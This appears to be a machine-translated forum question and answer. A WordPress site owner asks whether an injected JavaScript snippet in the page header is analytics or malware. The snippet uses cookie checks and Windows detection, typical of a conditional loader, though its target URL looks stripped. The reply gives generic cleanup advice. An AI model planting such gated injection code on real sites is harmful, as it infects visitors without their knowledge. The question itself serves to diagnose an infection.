這是什麼？谷歌分析cookie或惡意軟件？

Question

我有一個WordPress的安裝，目標已經非常嚴重的網絡釣魚操作。我原本以爲安全主要覆蓋除了我看到這個標題：

var a=document.cookie;document.cookie="hop="+escape("hop")+";path=/";var b=navigator.appVersion,c=" "+document.cookie,d=null,e=0,f=0;if(c.length>0){e=c.indexOf(" hop=");if(e!=-1){e+=5;f=c.indexOf(";",e);if(f==-1)f=c.length;d=unescape(c.substring(e,f))}} if(d=="hop"&&b.toLowerCase().indexOf("win")!=-1&&a.indexOf("hip")==-1){var g=["keg","kei","ken","kep","kev","kex","key","khi","kid","kif"],h=Math.floor(Math.random()*g.length);dt=new Date;dt.setTime(dt.getTime()+8E7);document.cookie="hip="+escape("hip")+";expires="+dt.toGMTString()+";path=/";document.write('</script>')};

該URL的到底是超級可疑。我一派但沒有發現線索:-(

我還沒有發現在我的WP安裝代碼的來源。它不被寫入模板文件或數據庫。在更新WP現在安裝的過程。

有沒有人有任何這知識呢？

Answer 1

這看起來很奇怪，我也許嘗試重新安裝WordPress和選擇非常複雜的密碼，因此沒有人未經授權可以訪問你的網站，你可能想從頁面移除谷歌分析代碼看看這是否有所不同複雜的密碼包括數字，大寫和小寫字母，斜線和任何你能想到的東西確保它長於8個字母如果你的網站被感染，現在從網上取下，直到確定它不是。